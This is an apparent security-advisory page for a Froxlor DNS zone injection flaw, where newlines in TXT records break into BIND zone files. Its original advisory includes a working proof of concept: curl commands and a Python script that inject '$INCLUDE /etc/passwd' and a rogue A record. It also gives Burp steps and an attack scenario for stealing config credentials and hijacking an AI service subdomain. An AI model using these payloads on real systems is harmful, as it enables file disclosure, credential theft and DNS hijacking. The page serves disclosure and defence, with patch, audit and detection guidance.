CVE-2026-41234: Froxlor: DNS zone injection via unsanitized TXT record

GHSA-37m5-m4q3-fc6x HIGH
Published June 3, 2026
CISO Take

Froxlor ≤2.3.6 contains an incomplete fix for CVE-2026-30932: newline characters in TXT DNS record content are not stripped before being written to BIND zone files, allowing any authenticated customer with DNS editing rights to inject arbitrary BIND directives or fabricate DNS records in a single API call. An attacker with a low-privilege account can exploit this to read world-readable server files via $INCLUDE (including application configs that may contain AI service API keys or database credentials), hijack subdomains via injected A/CNAME records, or intercept email flows via MX injection — all taking effect silently when the DNS rebuild cron fires. With 475 downstream dependents and a trivial curl-based PoC publicly documented, exploitation requires no specialized knowledge and is likely to be scripted rapidly. Upgrade to Froxlor 2.3.7 immediately and audit existing TXT records for embedded newlines or $INCLUDE/$GENERATE strings before any further outreach or traffic growth.

Sources: GitHub Advisory NVD ATLAS OpenSSF

What is the risk?

HIGH. CVSS 7.6 (AV:N/AC:L/PR:L/UI:N) with a network-accessible, low-complexity attack requiring only a valid customer-level account — a realistic threat profile for any multi-tenant hosting panel. The vulnerability is deterministic: injected content takes effect when the DNS rebuild cron executes (typically every few minutes), creating a narrow detection window. The incomplete-fix nature of this CVE (bypassing prior CVE-2026-30932 patches by targeting a code path those patches explicitly skipped) indicates a systematic input validation gap rather than an isolated oversight, increasing the likelihood of further bypasses. No public exploit framework is confirmed yet, but the PoC is trivially replicable from the advisory.

Attack Kill Chain

Initial Access
Attacker authenticates to the Froxlor API using a valid low-privilege customer account with DNS editing rights enabled on at least one domain.
AML.T0012
Exploitation
Attacker sends a crafted DomainZones.add request with a TXT record value containing an embedded newline followed by a BIND directive (e.g., $INCLUDE /etc/passwd or an arbitrary A record), bypassing the incomplete encloseTXTContent() sanitization that only adds surrounding quotes.
AML.T0049
Execution
When the DNS rebuild cron fires, BIND processes the zone file containing the injected directive, reading local system files via $INCLUDE or creating rogue DNS records that take immediate effect in DNS resolution.
AML.T0037
Impact
Attacker retrieves exfiltrated file contents (API keys, credentials) via DomainZones.listing, redirects AI service subdomains to attacker infrastructure via injected A/CNAME records intercepting inference traffic, or corrupts zone data causing DNS outages.
AML.T0048.001

What systems are affected?

Package Ecosystem Vulnerable Range Patched
froxlor/froxlor composer <= 2.3.6 2.3.7
5.7K OpenSSF 7.0 475 dependents Pushed 4d ago 92% patched ~0d to patch Full package profile →

Do you use froxlor/froxlor? You're affected.

Severity & Risk

CVSS 3.1
7.6 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

Attack Surface

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI None
S Unchanged
C Low
I High
A Low

What should I do?

5 steps
  1. Patch: Upgrade to Froxlor 2.3.7 (released, adds newline stripping to TXT record validation).

  2. Audit zone files: search for embedded newlines, $INCLUDE, or $GENERATE strings in existing TXT records — query the DNS entries table for content containing these patterns.

  3. Workaround if patching is delayed: set dnsenabled=0 for untrusted customer accounts and restrict API access via IP allowlist.

  4. Detection: monitor BIND zone file writes for unexpected $INCLUDE or $GENERATE directives and alert on zone rebuild failures or unexpected record additions.

  5. Credential rotation: if any $INCLUDE exploitation is suspected, rotate API keys and database credentials stored in world-readable server files (application configs, .env files).

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity
ISO 42001
A.8.2 - Information security risk management for AI systems
NIST AI RMF
MANAGE 2.2 - Risks in the AI system supply chain are identified and managed

Frequently Asked Questions

What is CVE-2026-41234?

Froxlor ≤2.3.6 contains an incomplete fix for CVE-2026-30932: newline characters in TXT DNS record content are not stripped before being written to BIND zone files, allowing any authenticated customer with DNS editing rights to inject arbitrary BIND directives or fabricate DNS records in a single API call. An attacker with a low-privilege account can exploit this to read world-readable server files via $INCLUDE (including application configs that may contain AI service API keys or database credentials), hijack subdomains via injected A/CNAME records, or intercept email flows via MX injection — all taking effect silently when the DNS rebuild cron fires. With 475 downstream dependents and a trivial curl-based PoC publicly documented, exploitation requires no specialized knowledge and is likely to be scripted rapidly. Upgrade to Froxlor 2.3.7 immediately and audit existing TXT records for embedded newlines or $INCLUDE/$GENERATE strings before any further outreach or traffic growth.

Is CVE-2026-41234 actively exploited?

No confirmed active exploitation of CVE-2026-41234 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-41234?

1. Patch: Upgrade to Froxlor 2.3.7 (released, adds newline stripping to TXT record validation). 2. Audit zone files: search for embedded newlines, $INCLUDE, or $GENERATE strings in existing TXT records — query the DNS entries table for content containing these patterns. 3. Workaround if patching is delayed: set dnsenabled=0 for untrusted customer accounts and restrict API access via IP allowlist. 4. Detection: monitor BIND zone file writes for unexpected $INCLUDE or $GENERATE directives and alert on zone rebuild failures or unexpected record additions. 5. Credential rotation: if any $INCLUDE exploitation is suspected, rotate API keys and database credentials stored in world-readable server files (application configs, .env files).

What systems are affected by CVE-2026-41234?

This vulnerability affects the following AI/ML architecture patterns: AI SaaS platforms hosted on shared or managed hosting infrastructure, Model serving endpoints behind Froxlor-managed DNS, Email-driven AI alerting and onboarding pipelines, Multi-tenant AI platform deployments with shared DNS management.

What is the CVSS score for CVE-2026-41234?

CVE-2026-41234 has a CVSS v3.1 base score of 7.6 (HIGH).

AI Security Impact

Affected AI Architectures

AI SaaS platforms hosted on shared or managed hosting infrastructureModel serving endpoints behind Froxlor-managed DNSEmail-driven AI alerting and onboarding pipelinesMulti-tenant AI platform deployments with shared DNS management

MITRE ATLAS Techniques

AML.T0012 Valid Accounts
AML.T0037 Data from Local System
AML.T0048.001 Reputational Harm
AML.T0049 Exploit Public-Facing Application

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: A.8.2
NIST AI RMF: MANAGE 2.2

Technical Details

Original Advisory

## Summary The `DomainZones.add` API endpoint does not sanitize newline characters in TXT record content. An authenticated customer with DNS editing enabled can inject newlines into TXT record values, which break out of the record line in the generated BIND zone file. This enables injection of arbitrary BIND directives (`$INCLUDE`, `$GENERATE`) and arbitrary DNS records (A, MX, CNAME) into the zone file written to disk by the DNS rebuild cron. This is an incomplete fix for CVE-2026-30932 (GHSA-x6w6-2xwp-3jh6), which patched the same newline injection for LOC, RP, SSHFP, and TLSA record types but did not patch TXT records. ## Affected Code `lib/Froxlor/Api/Commands/DomainZones.php`, lines 306-308: ```php } elseif ($type == 'TXT' && !empty($content)) { // check that TXT content is enclosed in " " $content = Dns::encloseTXTContent($content); } ``` `Dns::encloseTXTContent()` (`lib/Froxlor/Dns/Dns.php:571-592`) only adds or removes surrounding quote characters. It does not strip newlines, carriage returns, or any BIND zone metacharacters. Line 148 of `DomainZones.php` still contains: ```php // TODO regex validate content for invalid characters ``` The content flows to the zone file via `DnsEntry::__toString()` (`lib/Froxlor/Dns/DnsEntry.php:83`), which concatenates `$this->content` directly into the zone line followed by `PHP_EOL`. Embedded newlines in the content produce additional lines in the zone file output. ### Comparison with CVE-2026-30932 fix The v2.3.5 fix for CVE-2026-30932 added validation functions for these types: | Type | Validation Added | Still Vulnerable? | |------|-----------------|-------------------| | LOC | `Validate::validateDnsLoc()` (strict regex) | No | | RP | `Validate::validateDnsRp()` (domain validation) | No | | SSHFP | `Validate::validateDnsSshfp()` (3-part split) | No | | TLSA | `Validate::validateDnsTlsa()` (4-part split) | No | | **TXT** | **`Dns::encloseTXTContent()` (quotes only)** | **Yes** | ## PoC ### Environment - Froxlor 2.3.5, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4) - DNS enabled (`system.bind_enable=1`, `system.dnsenabled=1`) - Customer with `dnsenabled=1`, domain with `isbinddomain=1` - Customer has an API key (or uses the web UI DNS editor with Burp) ### Reproduction via API ```bash # Inject $INCLUDE directive to read /etc/passwd curl -s -u "API_KEY:API_SECRET" \ -H 'Content-Type: application/json' \ -d '{ "command": "DomainZones.add", "params": { "domainname": "testdomain.lab", "type": "TXT", "record": "@", "content": "v=spf1 +all\"\n$INCLUDE /etc/passwd", "ttl": 18000 } }' \ https://panel.example.com/api.php ``` ### Reproduction via Web UI (Burp) 1. Log in as a customer with DNS editing enabled 2. Navigate to Resources > Domains > (domain) > DNS Editor 3. Add a new record: Type = TXT, Record = @, Content = any 4. Intercept the POST request in Burp Suite 5. Change the `dns_content` parameter to: `v=spf1 +all"%0a$INCLUDE /etc/passwd` (`%0a` is URL-encoded newline) 6. Forward the request ### Result The API returns the generated zone content. The TXT record line is split at the newline, and `$INCLUDE /etc/passwd` appears on its own line as a BIND directive: ``` $TTL 604800 $ORIGIN testdomain.lab. @ 604800 IN SOA froxlor.lab admin.froxlor.lab. 2026041004 ... @ 18000 IN TXT "v=spf1 +all" $INCLUDE /etc/passwd" @ 604800 IN A 100.95.188.127 * 604800 IN A 100.95.188.127 ``` When the DNS rebuild cron runs, BIND processes the `$INCLUDE` directive and attempts to read `/etc/passwd`. ### Variant: Arbitrary DNS record injection The same technique injects arbitrary A/MX/CNAME records: ```bash curl -s -u "API_KEY:API_SECRET" \ -H 'Content-Type: application/json' \ -d '{ "command": "DomainZones.add", "params": { "domainname": "testdomain.lab", "type": "TXT", "record": "_spf", "content": "v=spf1 +all\"\nevil\t18000\tIN\tA\t6.6.6.6", "ttl": 18000 } }' \ https://panel.example.com/api.php ``` Result: ``` _spf 18000 IN TXT "v=spf1 +all" evil 18000 IN A 6.6.6.6 ``` `evil.testdomain.lab` now resolves to attacker IP `6.6.6.6`. ### Automated PoC Script ```python #!/usr/bin/env python3 """Froxlor <= 2.3.5 TXT Zone Injection — Incomplete CVE-2026-30932 Fix""" import json, sys, requests, urllib3 urllib3.disable_warnings() def api(target, key, secret, cmd, params=None): return requests.post(f"{target.rstrip('/')}/api.php", auth=(key, secret), json={"command": cmd, "params": params or {}}, verify=False).json() target, key, secret, domain = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4] # Inject $INCLUDE r = api(target, key, secret, "DomainZones.add", { "domainname": domain, "type": "TXT", "record": "@", "content": 'v=spf1 +all"\n$INCLUDE /etc/passwd', "ttl": 18000}) for line in r.get("data", []): tag = " <-- INJECTED" if "$INCLUDE" in str(line) else "" if line: print(f" {line}{tag}") print("\nCONFIRMED" if any("$INCLUDE" in str(l) for l in r.get("data",[])) else "FAILED") ``` Usage: `python3 poc.py https://panel.example.com API_KEY API_SECRET domain.tld` ## Impact 1. **Information Disclosure**: `$INCLUDE` directs BIND to read arbitrary world-readable files on the server. The included content is parsed as zone data and can be retrieved by the customer via `DomainZones.listing` or DNS queries to records created from parsed file lines. 2. **DNS Record Injection**: Newline breakout allows injection of A, MX, CNAME, and other records into the zone file. A customer can point subdomains to attacker-controlled IPs, intercept email via MX injection, or perform subdomain takeover via CNAME injection. 3. **DNS Service Disruption**: Malformed zone content causes BIND to reject the zone, creating a DNS outage for the affected domain. `$GENERATE` directives can create massive record sets for amplification. ## Suggested Fix Strip newlines and BIND metacharacters from TXT content. Minimal fix: ```php // lib/Froxlor/Api/Commands/DomainZones.php, around line 306 } elseif ($type == 'TXT' && !empty($content)) { // Strip characters that can break zone file format $content = str_replace(["\n", "\r", "\t"], '', $content); $content = Dns::encloseTXTContent($content); } ``` A more comprehensive fix would add a validation function (similar to `validateDnsLoc`, `validateDnsSshfp`, etc.) that rejects any content containing zone metacharacters (`$`, newlines), and remove the TODO at line 148.

Exploitation Scenario

A threat actor registers or compromises a low-cost shared hosting account on a Froxlor instance that also hosts an AI SaaS company's DNS. Using the DomainZones.add API with a TXT record containing an embedded newline followed by '$INCLUDE /var/www/html/config.php', the attacker waits for the DNS rebuild cron to fire. They then call DomainZones.listing to retrieve the zone content containing parsed lines from the config file, extracting API keys and database credentials. In a second phase, they inject an A record pointing the AI service's API subdomain (e.g., api.aisaas.com) to their own server. Downstream clients and automated pipelines begin sending inference requests — including authentication tokens — to the attacker's endpoint. The attack is fully automated using the provided Python PoC script and leaves no authentication anomalies in the target system's logs.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L

Timeline

Published
June 3, 2026
Last Modified
June 3, 2026
First Seen
June 4, 2026

Related Vulnerabilities